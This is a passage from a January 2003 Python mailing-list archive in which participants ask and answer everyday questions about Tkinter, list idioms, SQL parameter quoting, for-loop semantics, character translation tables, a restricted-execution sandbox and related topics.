From nbodineau at club-internet.fr  Mon Jan 13 09:35:25 2003
From: nbodineau at club-internet.fr (Natacha)
Date: 13 Jan 2003 06:35:25 -0800
Subject: tkinter file selector
Message-ID: <18f9f477.0301130635.42ebcb5a@posting.google.com>

Hello,

We are using Python in environnement windows and we need help.

We want to use tkinter for an interface graphic so for this it s ok

The problem is in this programm :

you can execute it to see . When you click on 'Parcourir', i would
like to have the functions who give the files in the harddisk and
select one.

from Tkinter import*			
import Pmw
import sys
import os
import string
from Tkinter import _cnfmerge
import tkSimpleDialog

sys.path[:0] = ['../../..']

class Interface:
	def __init__(self):
		self.page = 0
		
		self.Page_Make()
		self.root.mainloop()
		
	def Page_Make(self):
		self.root=Tk()
		self.root.geometry('600x400')
		
		frame = Frame(self.root)
		
		self.root.title("PARALLELISATION DE TEXTES")
		self.txt1 = Label(self.root,text="Fichier
fran?ais",font=('arial',20))
		self.txt2= Label(self.root,text="Fichier anglais",font=('arial',20))
		
		self.entr1 = Entry(self.root,font=('arial',10))
		self.entr2 = Entry(self.root,font=('arial',10))
		
		self.button1=Button(self.root,text="Parcourir",relief=GROOVE,bd=7,padx=20,font=('Comic
Sans MS',10))
		self.button2=Button(self.root,text="Parcourir",relief=GROOVE,bd=7,padx=20,font=('Comic
Sans MS',10))
		self.button3=Button(self.root,text="Baliser",relief=GROOVE,bd=7,font=('Comic
Sans MS',15))
		
		#emplacement des widgets
		self.txt1.grid(row =0,sticky=W)
		self.txt2.grid(row =3,sticky=W)
		
		self.entr1.grid(row =1,pady=30,padx=30)
		self.entr2.grid(row =4,pady=30,padx=30)	

		self.button1.grid(row =1, column =5)
		self.button2.grid(row =4, column =5)		
		self.button3.grid(row =6)
		
		self.root.mainloop()
		
	
		
Interface()

Thanks for your response at this site or at
willy19 at voila.fr or
nbodineau at club-internet.fr



From whisper at oz.net  Wed Jan 29 04:37:19 2003
From: whisper at oz.net (David LeBlanc)
Date: Wed, 29 Jan 2003 01:37:19 -0800
Subject: python weblog apps?
In-Reply-To: <e2b0fbd5-d6c9-4581-963d-0102ad25a674@news.szn.dk>
Message-ID: <GCEDKONBLEFPPADDJCOEEECLHLAA.whisper@oz.net>

Doesn't squishdot have that - at least the blog/wiki integration?

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Klaus Alexander
> Seistrup
> Sent: Wednesday, January 29, 2003 0:27
> To: python-list at python.org
> Subject: Re: python weblog apps?
>
>
> I'd really like to see a weblog app like SnipSnap? written in Python
> (even as a Zope product).  It has a builtin webserver and database
> manager.  Its strength, IMO, is its seamless integration of weblog
> and wiki pages.  Very neat.  If only it weren't written in Java.
>
>
>   // Klaus
>
>  ?) http://snipsnap.org/
> --
>  ><> 	vandag, m?re, altyd saam
> --
> http://mail.python.org/mailman/listinfo/python-list





From nav at adams.patriot.net  Fri Jan 31 12:40:54 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 31 Jan 2003 12:40:54 -0500
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net> <8bbd9ac3.0301302140.6938685c@posting.google.com> <oPr_9.108013$0v.3123750@news1.tin.it> <mailman.1044029142.17081.python-list@python.org>
Message-ID: <yyyhebpkyjd.fsf@adams.patriot.net>

> > In theory, theory is preferable, but, in practice, I'd prefer practice.
> +1 QOTW

What about:

    "The difference between theory and practice is larger in practice
     than in theory."

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From johnroth at ameritech.net  Tue Jan 14 11:58:59 2003
From: johnroth at ameritech.net (John Roth)
Date: Tue, 14 Jan 2003 11:58:59 -0500
Subject: X#, a new Msft functional language similar to Lisp; Python prominently mentioned
References: <3E2364CC.7060604@earthlink.net>
Message-ID: <v28gd3mca7099e@news.supernews.com>

"Ron Stephens" <rdsteph at earthlink.net> wrote in message
news:3E2364CC.7060604 at earthlink.net...
> Ok, this is a brand new, wild rumor, but of some interest. Microsoft
is
> said to be creating a new functional language , X#, to be able to
easily
> extract and process data from XML documents.
>
> The author of this new online article, one Sean McGraff,  posits that
> most programming paradigms are either a)object oriented, like Java,
> Python, and C++ or b) use tabular data structures, such as relational
> data bases. He further posits that XML does not fit neatly into either
> object oriented nor tabular paradigms, but does fit neatly into a
> functional programming style that treats data and code as one and the
> same thing, like Lisp.
>
> Interesting. I don't like Microsoft, but this actually sounds like an
> idea that might have some merit. Of course, rather than use Lisp,
> Microsoft has to re-invent the wheel in a proprietary fashion.
>
> Does anyone think the ideas expressed in this article about XML being
> easier to process in a functional programming style, are either
accurate
> or stupid?
>
> Could Python's functional programming style be a good fit for XML
data?
> Could Python be extended to enhance such capabilities, if those
> capabilities have any validity?

Before thinking about this, I'd like to know what afficianados of real
functional languages think of the idea. I don't know enough to figure
if functional languages have a real benefit in the area, or whether it's
all enthusiasm and too much caffine.

John Roth






From imbosol at vt.edu  Mon Jan 20 17:42:09 2003
From: imbosol at vt.edu (Carl Banks)
Date: Mon, 20 Jan 2003 22:42:09 GMT
Subject: 2D lists
References: <c7486c63.0301201106.681eece8@posting.google.com> <9tlo2v8arqnbrbrndti7eqqf6596tg4rbb@4ax.com> <hVadnXEIxLEWw7GjXTWc-w@speakeasy.net>
Message-ID: <5X_W9.936$dU.135@nwrddc01.gnilink.net>

Marcin Matuszkiewicz wrote:
> What is a most efficient way to create an intialized 2D list?

If each item is initialized separately, then:

a = [ [1,2,3], [4,5,6], [7,8,9] ]


If each item is initialized to a single value, then probably (I recall
a discussion about it):

a = map(list,([0]*3)*4)


-- 
CARL BANKS



From imbosol at vt.edu  Thu Jan  9 18:43:03 2003
From: imbosol at vt.edu (Carl Banks)
Date: Thu, 09 Jan 2003 23:43:03 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <yyy1y3m4c6d.fsf@adams.patriot.net> <RSjT9.38030$1c.26589@nwrddc01.gnilink.net> <yyyk7he2j81.fsf@adams.patriot.net>
Message-ID: <bOnT9.36338$xb.1845@nwrddc02.gnilink.net>

Nick Vargish wrote:
> Carl Banks <imbosol at vt.edu> writes:
> 
>> I hope everyone else realizes he (Afanasiy) was being ironic.  
> 
> I believe your irony detector is yielding false positives.

I believe your irony detector is broken.

He perceived (wrongly, it appears) an arrogant attitude from Dalke,
who was trying to point out problems with Afanasiy's code, and it's
very obvious his statement, "My code is perfect," was in mockery of
the attitude he perceived.  It was not hubris.

As for whether programmers are metaphorical, I'll say only this:
abstract is not the same as figurative.


-- 
CARL BANKS



From daniel at dittmar.net  Tue Jan  7 12:20:01 2003
From: daniel at dittmar.net (Daniel Dittmar)
Date: Tue, 07 Jan 2003 18:20:01 +0100
Subject: Help: Omitting quotes from SQL Queries.
In-Reply-To: <2356598.1041950714@dbforums.com>
References: <2356598.1041950714@dbforums.com>
Message-ID: <avf285$ccf$1@news.eusc.inter.net>

keithk wrote:
> I am using an mx.ODBC connection to MSSQL and am iterating through a
> list to get data from the DB, for eg:
> 
> for fileName in fileNameList:
>         cursor.execute("SELECT fileSize FROM database where
>         database.filename = '%s'" % fileName)
>         fileSizes = cursor.fetchall()
> 
> However, when it iterates through the list and fileName equals something
> like "Hello World's" with a single quote inside the query fails as the
> string is ended prematurely, does anybody know how I can solve this?

Use the version of execute with parameters
.execute ("SELECT ...",[fileName])
and let the driver worry about quoting.

Daniel




From pyth at devel.trillke.net  Thu Jan 30 19:06:12 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Fri, 31 Jan 2003 01:06:12 +0100
Subject: Implicit lists
In-Reply-To: <5Og_9.145723$AA2.5955682@news2.tin.it>; from aleax@aleax.it on Thu, Jan 30, 2003 at 09:28:33PM +0000
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com> <mailman.1043949408.14743.python-list@python.org> <JWd_9.105583$0v.3054327@news1.tin.it> <mailman.1043954707.30246.python-list@python.org> <5Og_9.145723$AA2.5955682@news2.tin.it>
Message-ID: <20030131010612.Z10804@prim.han.de>

Alex Martelli wrote:
> holger krekel wrote:
> > Alex Martelli wrote:
> >> holger krekel wrote:
> >>    ...
> >> > I think it's safer to skip "iteration" with an explicit
> >> > 
> >> >     isinstance(arg, (str, unicode))
> >> > 
> >> > check.  It's also simpler to read and understand.
> >> 
> >> And it breaks *EVERY* use of UserString -- a module in the
> >> standard Python library, even!!! -- not to mention user-coded
> >> string-like types and classes.  *shudder*.
> > 
> > sorry, but fewer scream-emoticons would suffice to make
> > your point.
> 
> Not for an Italian forced to express himself _without_ moving
> his hands about.

Still it can and actually does setup discussion hierarchies.

> > However, it feels like an implicit kind of type-check.
> 
> Your feelings are a bit off here -- because types work
> differently, e.g. UserString has NO type connection with
> str -- but not by much: what it is is a PROTOCOL-check --

Right, that's what i meant with 'kind of'.  Sometimes i try 
to not introduce too many concepts at once.  So let me 
restate my key point from the last mail:

The general pythonic "avoid checking for types or existence
of methods. instead just try and catch exceptions" does 
not always apply when you want to *prevent* something
instead of react to erranonous behaviour.  

It's actually quite common to check for str/unicode 
even in the standard lib and there is types.StringTypes 
kind-of-stating that.  Of course you could argue that 
this is all wrong and everybody should check 
for  obj+"" not throwing an exception, instead. 

Note, though, that you can not refer to common practice like

        try:
            return somedict[key]
        except KeyError:
            ...
            
because this *positively* checks for a problem and
takes appropriate action. Whereas

        try:
            obj + ""
        except TypeError:
            # ...

tries to infer knowledge aka "must be some string"
from a *missing* problem/exception.  That's a lot
weaker and can produce surprises.

    holger




From eddie at holyrood.ed.ac.uk  Fri Jan 17 12:52:07 2003
From: eddie at holyrood.ed.ac.uk (Eddie Corns)
Date: Fri, 17 Jan 2003 17:52:07 +0000 (UTC)
Subject: Declaring A Function Argument As Global?
References: <9fp60b.86b2.ln@boundary.tundraware.com> <mailman.1042738646.3193.python-list@python.org> <1pt60b.atb2.ln@boundary.tundraware.com>
Message-ID: <b09fs7$1gl$1@scotsman.ed.ac.uk>

Tim Daneliuk <tundra at tundraware.com> writes:

>Skip Montanaro wrote:
>> I believe this should work
>> 
>>     def lhandler(list):
>>         list[:] = list[1:]
>> 
>> Skip
>> 

>'Works like a charm.  But why?  I thought list[:] merely makes a copy of
>something - obviously there is more to the story if it is on the LHS.
>'Care to explain the semantics here?

I think the answer you're looking for is that the contents of the two
variables are 'shared'.

>>> a=[1,2,3]
>>> b=a
>>> b[:] = [9,8,7]
>>> a
[9, 8, 7]

Eddie



From martin at v.loewis.de  Wed Jan  8 10:54:36 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 08 Jan 2003 16:54:36 +0100
Subject: no side effects
In-Reply-To: <20030108163019.D349@prim.han.de>
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com> <mailman.1042033754.17715.python-list@python.org> <avhbmr$7ib$06$1@news.t-online.com> <20030108160031.C349@prim.han.de> <3E1C3F27.1080009@v.loewis.de> <20030108163019.D349@prim.han.de>
Message-ID: <3E1C49BC.2020206@v.loewis.de>

holger krekel wrote:
> Depends on your background.  *If* somebody e.g. thinks that 
> 
>     for i in range(3):
>         print i
>         i = 3
> 
> is somewhat equivalent to C's
> 
>     int i;
>     for (i=0 ; i<3 ; i++) {
>         printf("%d\n", i);
>         i = 3;
>     }
> 
> then IMHO my explanation serves well and talking about underlying 
> iterator protocols wouldn't help too much.  

Difficult to say, since you have to come up with a theory of why people 
think so. People might expect that the Python for loop translates to 
something like

seq = [1,2,3]
i = seq[0]
while 1:
   SUITE
   try:
     i = seq[seq.find(i)+1]
   except IndexError:
     break

Of course, they would never spell it out that way: they might think "At 
the end of the loop, look at the current value of i, then take the 
element from the sequence that follows i". This is roughly how the C 
loop works, and translates into the Python fragment above.

If the for loop would work that way, then the fact that Python has 
namespaces and variables bind to values wouldn't change the outcome of

for i in [1,2,3]:
   print i
   i = 3

I.e. i would be set to the last element of the sequence, and the for 
loop would look at where that element in the sequence is, and advance to 
the next element.

For loops *could* work that way, independent how variables and 
namespaces work. That they don't work this way comes from the hidden 
variable (which actually isn't even a variable, but a stack location - 
which is something else a newcomer shouldn't need to know).

> Why is the way the python for-loop gets to the next *value* 
> more important than understanding that python works with 
> name-object bindings everywhere?  And what is so wrong 
> about this (*)? 

I would expect that Michelle has grasped the notion of namespaces and 
name bindings by now; the question hinted at a misunderstanding of the 
for loop semantics. This details of the for loop is hardly ever noticed, 
but I'm sure it has confused more than one newcomer (I remember having 
been confused by it myself).

Regards,
Martin





From chris.lyon at spritenote.co.uk  Mon Jan 20 06:28:35 2003
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 20 Jan 2003 03:28:35 -0800
Subject: Strange windows behavior
References: <d232c5e.0301191113.1ec6f9e5@posting.google.com> <mailman.1043009794.3547.python-list@python.org>
Message-ID: <d232c5e.0301200328.642beebe@posting.google.com>

> > How is this possible, different responses from python?
> 
>   IDLE is not Python.  IDLE is a development environment for Python (in
> Python).  It takes extra measures in its interactive window to make things
> pretty and nice.  Notice how it colors things too?  Does your shell do that
> ? 
> Indentation is just another perk.


Right having felt like a fool (thank you JP:), I dug around on this
one and quoting from the Python tutorial,

"The body of the loop is indented: indentation is Python's way of
grouping statements. Python does not (yet!) provide an intelligent
input line editing facility, so you have to type a tab or space(s) for
each indented line. In practice you will prepare more complicated
input for Python with a text editor; most text editors have an
auto-indent facility"

so I now know it's just something I've never seen before and have
assumed to be the case. I came via the O'Reilly books and couldn't
find a reference to this issue in there.

Now here's the cutest rejoinder I can come up with, using the 'if you
behave like a child quote a child' maxim, how do I explain to my 6
year old that her friend python doesn't always behave the way she
expects which is what actually started this wild goose chase in the
first place?

Drawing peoples attention to the (yet!!),any chance of it being
implemented on the command line or are there just to many people
already wedded to the present effect?

Cute eh?



From hancock at anansispaceworks.com  Wed Jan 22 16:03:11 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 22 Jan 2003 21:03:11 GMT
Subject: Functions 'knowing' other functions in a module
References: <3e2edfed@news.ColoState.EDU>
Message-ID: <jGDX9.6720$Sv3.659020@newsread1.prod.itd.earthlink.net>

gyro wrote:
> This approach seems very kludgy, especially the __import__('mymod')
> line. Is it necessary to 'self import' the module to carry out this
> task? Any suggestions for a better approach? I'm sure that I'm missing
> something obvious.

Open your python interpreter, and paste the following:

def lum():
    print 'lum'

def ataru():
    print 'ataru'

def _enum_functions():
    return [k for k,v in globals().items() 
                if type(v)==type(_enum_functions) and k[0]!='_' ]

_enum_functions()

You should see something like this:
Python 2.2.1 (#1, Sep  7 2002, 14:34:30) 
[GCC 2.95.4 20011002 (Debian prerelease)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> def lum():
...     print 'lum'
... 
>>> def ataru():
...     print 'ataru'
... 
>>> def _enum_functions():
...     return [k for k,v in globals().items() 
...             if type(v)==type(_enum_functions) and k[0]!='_' ]
... 
>>> _enum_functions()
['ataru', 'lum']

Does that help at all?

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From Kyler at news.Lairds.org  Sat Jan 11 11:26:05 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Sat, 11 Jan 2003 16:26:05 GMT
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net> <dpe4f-52b.ln1@news.lairds.org> <3E1FA635.8051A960@alcyone.com>
Message-ID: <8vq5f-8k3.ln1@news.lairds.org>

Erik Max Francis <max at alcyone.com> writes:

>> >http://www.python.org/doc/current/lib/match-objects.html
>> 
>> Thank you.  Any idea how I should have know to find that from
>> here?
>>         http://www.python.org/doc/current/lib/re-syntax.html

>Click on the right arrow multiple times.  Or, click up, then note all
>the related subjects, click on "Match Objects."

O.k., now *why*, as a naive beginning programmer, would I
do that when a simple answer appears to be staring at me?

--kyler



From donnalcwalter at yahoo.com  Sun Jan 19 06:43:19 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Sun, 19 Jan 2003 05:43:19 -0600
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com> <x7iswn4qoa.fsf@guru.mired.org> <mailman.1042826159.14168.python-list@python.org> <v2j5mial64f6f@corp.supernews.com>
Message-ID: <b0e2u2$9ep$1@main.gmane.org>

"Cameron Laird" <claird at lairds.com> wrote:
> Laura Creighton  <lac at strakt.com> wrote:
> >> "Wouter van Marle" <wouterm at spammers-unite-here.com> writes:
> >>
> >> > Can anyone recommend me an introduction on object oriented
> >> > programming in general, and the trick in Python? Preferrably
> >> > tutorial on the web or so.
> .
> .
> .
> >> It may make you want to find an Eiffel compiler.
> .
> .
> .
> >See http://archive.eiffel.com/doc/manuals/technology/oosc/page.html
> >for Table of Contents, Preface, and one Sample chapter.
> >
> >Laura Creighton
> >
>
> I like repeating recommendations of *OOSC*.

Okay, here is another one. I still keep a copy of OOSC on my desk beside my
copy of the Python Cookbook. Excellent book. Several years ago I was quite
enamoured of Eiffel simply because of the book, and I tried adopting Eiffel
for my project. Two reasons that I gave up on it eventually were: (1) at the
time the GUI support for Eiffel was inadequate, and (2) the
code-compile-test cycles were cumbersome. I *love* Python because I can make
a change in my code and test it literally in seconds.

[OT] One of Eiffel's strengths is design by contract (DBC). I've considered
implementing one of the published recipes for EiffelMethods in Python, but I
wonder, is DBC is really necessary if one uses unit tests compulsively?

To the OP, if you want to understand object-oriented principles in Python,
IMHO, you should spend time learning about how namespaces work, especially
how object are bound to local names through parameter passing. YMMV

Donnal Walter
Arkansas Children's Hospital











From max at alcyone.com  Sat Jan  4 15:34:40 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 04 Jan 2003 12:34:40 -0800
Subject: Help, replacing the actual value from a data strucutre in a iterator
References: <c490a7ae.0301031942.5f39a6a8@posting.google.com>
	 <msudnajgx8ojFoujXTWcqw@comcast.com>
	 <c490a7ae.0301040331.33ff489f@posting.google.com>
	 <mailman.1041682627.13034.python-list@python.org>
	 <av77du$44f$0@216.39.172.122> <mailman.1041707412.3705.python-list@python.org>
Message-ID: <3E174560.2A4D0D37@alcyone.com>

Andrew McGregor wrote:

> I just liked the wierd look of the no-argument lambda :-)

Yeah, ain't thunks cute?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Whoever named it necking was a poor judge of anatomy.
\__/ Groucho Marx
    Blackgirl International / http://www.blackgirl.org/
 The Internet resource for black women.



From michael at ida.his.se  Fri Jan 31 10:56:48 2003
From: michael at ida.his.se (Michael Andersson)
Date: Fri, 31 Jan 2003 16:56:48 +0100
Subject: Boost Python Tutorial pdf?
Message-ID: <3E3A9CC0.60408@ida.his.se>

Hi!
Does any of you know if there exists a pdf version of the boost python 
tutorial?

Best regards,
/Michael Andersson




From claird at lairds.com  Wed Jan 29 10:36:23 2003
From: claird at lairds.com (Cameron Laird)
Date: Wed, 29 Jan 2003 15:36:23 -0000
Subject: Any AIX experts out there?
References: <mailman.1043819092.30996.python-list@python.org> <v3fpig1eo2rn6c@corp.supernews.com> <slrnb3frqo.1d4.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <v3ft7nd2367t04@corp.supernews.com>

In article <slrnb3frqo.1d4.gerhard.haering at haering.opus-gmbh.net>,
Gerhard H?ring  <gerhard.haering at opus-gmbh.net> wrote:
>Cameron Laird <claird at lairds.com> wrote:
>> Laura Creighton  <lac at strakt.com> wrote:
>>>The Snake Farm is having trouble building Python on AIX.
>> [...]
>> It's unlikely I can do this as volunteer work.  Is
>> this for you, or are you just helping out?
>
>Don't you know the Snake Farm? [1] :-)
>
>It's a park of test machines on various platforms that do regular test
>builds of the Python CVS. Getting this set up was one of the first
>accomplishments of the PS^wPBF (Python Business Forum) [2].
>
>IIRC the PBF was Laura's idea and she's now on the PBF board.
			.
			.
			.
I've confused things--not irreversibly, I hope.  My
previous follow-up was intended as private e-mail to 
Laura.  I think I'll take things back to that channel.

I agree that the Snake Farm deserves publicity.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From rdsteph at earthlink.net  Sat Jan  4 00:39:40 2003
From: rdsteph at earthlink.net (Ron Stephens)
Date: Sat, 04 Jan 2003 05:39:40 GMT
Subject: Distributing Python apps
References: <3NhR9.5535$8n5.1039045@news20.bellglobal.com> <v1bdpi6ek57350@corp.supernews.com> <3E1635A0.3040802@earthlink.net> <3E164FDD.B939D650@engcorp.com>
Message-ID: <3E167492.6020803@earthlink.net>

Thanks! :-)))

With Python, we get a plethora of tools, a cornucopia of options, and 
world of un.




From sjmachin at lexicon.net  Sun Jan 26 17:57:19 2003
From: sjmachin at lexicon.net (John Machin)
Date: 26 Jan 2003 14:57:19 -0800
Subject: Translation table to map Latin-1 to ASCII?
References: <j8563v4r381meidikj14v1tjsobcfvijra@4ax.com> <c76ff6fc.0301252318.ecc7156@posting.google.com> <2ll73v8a0gs4a7l9rfipp7srde4ta2e5tg@4ax.com> <3E33EC7A.9080900@v.loewis.de> <t4t73vc63vo2kuf5p5t4ao4cdmng7p2387@4ax.com>
Message-ID: <c76ff6fc.0301261457.7d04e884@posting.google.com>

Rene Pijlman <reageer.in at de.nieuwsgroep> wrote in message news:<t4t73vc63vo2kuf5p5t4ao4cdmng7p2387 at 4ax.com>...

> accentstable = string.join(map(chr, range(192)), "") +
> "AAAAAAACEEEEIIIIDNOOOOOxOUUUUYpBaaaaaaaceeeeiiiionooooo/ouuuuypy"
> 

You have mapped 0xF0 (small eth) to o, instead of d. Is this
deliberate?

You have mapped 0xDE (capital thorn) to P and 0xFE (small thorn) to p.
On a sound-alike basis rather than a look-alike basis, it may be more
appropriate to map these to T & t (or TH and th). I can't imagine
non-Icelandic people searching for 'Porstein' unless they are reading
directly off some Icelandic text in which case they probably would
have enough of a clue to realise that 'Porstein' wouldn't retrieve
anything of much relevance. 'Thorstein' seems much more likely.

Likewise 0xDF (small sharp s) may be better mapped to s (or ss) than
to B.

You may wish to contemplate the notion that a single mapping of one
byte to one byte may not be the best way to go, but of course this
depends on what you are trying to achieve.



From meinrad.recheis at aon.at  Fri Jan 17 15:28:54 2003
From: meinrad.recheis at aon.at (meinrad recheis)
Date: Fri, 17 Jan 2003 21:28:54 +0100
Subject: how to use PIL.image with Tkinter.canvas?
Message-ID: <b09p16$rem$1@news.tuwien.ac.at>

hi
I want to use the Python Image Library for Image manipulation and i want to
build a GUI with
Tkinter.

is it possible to view a PIL image on a Tkinter canvas?

i am quite new to python, so i need to figure out how to put the parts
together

thanks for comments,
Meinrad Recheis





From imbosol at vt.edu  Fri Jan 24 17:36:43 2003
From: imbosol at vt.edu (Carl Banks)
Date: Fri, 24 Jan 2003 22:36:43 GMT
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <v339gg9p1rlb3e@news.supernews.com> <b0sbn3$rk3$1@bob.news.rcn.net>
Message-ID: <%djY9.51$Xw5.38@nwrddc04.gnilink.net>

Aaron K. Johnson wrote:
> In message <v339gg9p1rlb3e at news.supernews.com>, "John Roth" wrote:
>> 
>> I don't understand. Number of unique posters in the last 200 posts to a
>> newsgroup I understand,
>> and 647 to the (one) Python newsgroup I understand, but I don't
>> understand how you get
>> 647 different posters out of the last 200 posts.
>> 
>> Oh, and Clipper is an old data base language, somewhere in the dbase
>> family.
> 
> oops, sorry....I meant 2000!


Ok, then how do you account for 3715 different posters for Java:

> survey begins here:
> 
> java 3715
> (c/c++ taken together) 1511
> basic 1292
> perl 1240
> c++ 953
> pascal 905


FWIW, N different posters in the last M posts is an irrelevant
statistic for me.  N different posters in the X period of time might
mean something--it certainly correlates somewhat to acutal
popularity--but there are too many factors involved to get anything
better than a vague estimate from it.


-- 
CARL BANKS



From LogiplexSoftware at earthlink.net  Tue Jan 14 19:10:09 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 14 Jan 2003 16:10:09 -0800
Subject: matching and extracting...
In-Reply-To: <409a56e2.0301141324.6625547d@posting.google.com>
References: <409a56e2.0301141324.6625547d@posting.google.com>
Message-ID: <1042589408.27815.5.camel@software1.logiplex.internal>

On Tue, 2003-01-14 at 13:24, Shagshag wrote:
> Here is my problem : say i have items ix, some are "to discover" (must
> be extracted "-x"), some are "needed" (must be present "-p") and some
> are indifferent ("-?"). for example, i have sequence like :
> 
> s = "a0 a1 a2 a3 a4 a5 a6 a7 a8"
> 
> i would like to check if my sequence is matching sequence like :
> 
> m = "a0-p i1-x i2-x i3-? a4-p i5-x i6-? i7-x i8-?"
> 
> and get result like :
> 
> m is matching s, i1 is a1, i2 is a3, i5 is a5, i7 is a7 (in python a
> "true" and a dict)

Is "i2 is a3" a typo, or am I missing something?

If it is a typo, then perhaps this will work for you:


import re

class matchseq:
    def __init__(self, sequence):
        self.items = {}
        exp = ""
        for item in sequence.split():
            if exp:
                exp += " "
            k, v = item.split('-')
            if v == 'p':
                exp += "(?P<%s>%s)" % (k, k)
                # self.items[k] = v
            else:
                exp += "(?P<%s>\D*\d*)" % k
                if v == 'x': 
                    self.items[k] = v

        self.re = re.compile(exp)
                
    def match(self, sequence):
        match = self.re.match(sequence)
        if match:
            for k in self.items:
                self.items[k] = match.group(k)
        return self.items


m = matchseq("a0-p i1-x i2-x i3-? a4-p i5-x i6-? i7-x i8-?")

result = m.match("a0 a1 a2 a3 a4 a5 a6 a7 a8")

if result:
    print result


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From uwe.schmitt at procoders.net  Fri Jan 24 09:04:05 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 24 Jan 2003 14:04:05 GMT
Subject: python sandbox
References: <b0ougt$111ko7$1@hades.rz.uni-sb.de> <just-C20A9C.11350124012003@news1.news.xs4all.nl>
Message-ID: <b0rh4l$112v7d$1@hades.rz.uni-sb.de>

Just <just at xs4all.nl> wrote:
> In article <b0ougt$111ko7$1 at hades.rz.uni-sb.de>,
>  Uwe Schmitt <uwe.schmitt at procoders.net> wrote:

>> Hi,
>> 
>> I wrote a simple sandbox for executing pyhton code in a
>> restricted environment.
>> The code can be downloaded from 
>> http://www.procoders.net/download.php?fname=SandBox.py
>> I appreciate any comments. I'm especially interested if
>> my restrictions are secure or if they can be circumvented.

> One fairly obvious hole: the _object attr of your proxies can be 
> accessed without restriction.

Ups. Thanks, I further restricted access to the accesslist attributes.

Greetings Uwe.

-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From martin.schmettow at bibliothek.uni-regensburg.de  Wed Jan 15 09:00:50 2003
From: martin.schmettow at bibliothek.uni-regensburg.de (Martin Schmettow)
Date: Wed, 15 Jan 2003 15:00:50 +0100
Subject: callability of object: strange behaviour
In-Reply-To: <b03m28$sfv$1@rrzd1.rz.uni-regensburg.de>
References: <b03m28$sfv$1@rrzd1.rz.uni-regensburg.de>
Message-ID: <b03pet$f31$1@rrzd1.rz.uni-regensburg.de>

And again me:

Problem solved:
Never forget the

else: raise AttributeError, name

in an __getattr__ definition.

CU
Martin.

Martin Schmettow wrote:
> Hi anybody.
> 
> I'm working on a class which implements a tree by fetching the nodes 
> from a database on demand. A node once fetched should be cached 
> transparently.
> Implementing a method parent() I experienced a very strange behaviour of 
> my object with callability.
> 
> This is the extract of what happens:
> 
> class Node:
>     def __init__(self,name):
>         self.name = name
> 
>     def __getattr__(self,name):
>         if name == 'parent':
>             parent = Node('parent')
>             setattr(self,'parent',parent)
>             return parent
> 
> 
>  >>> node = Node('mynode')
>  >>> callable(node)
> 1
>  >>> node
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> TypeError: 'NoneType' object is not callable
>  >>> node.parent.name
> 'parent'
>  >>> node.parent.__class__
> <class __main__.Node at 0x80fe154>
>  >>>
> 
> What's going wrong? Can anyone explain this behaviour to me?
> Meanwhile I will try, if constructing the parent with new.instance helps.
> 
> CU
> Martin.
> 
> 




From t_beaty at mchsi.com  Fri Jan 10 08:09:00 2003
From: t_beaty at mchsi.com (Travis Beaty)
Date: Fri, 10 Jan 2003 13:09:00 GMT
Subject: Mail<->News gateway [was Re: Do pythons like sugar?]
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>	 <6h8r1vkl2qfe8e99dvn5n3lmphngrar2h2@4ax.com> <mailman.1042150247.26901.python-list@python.org>
Message-ID: <MBzT9.8750$%n.1439@sccrnsc02>

I'd have to agree where these recent posts are concerned.  During the 
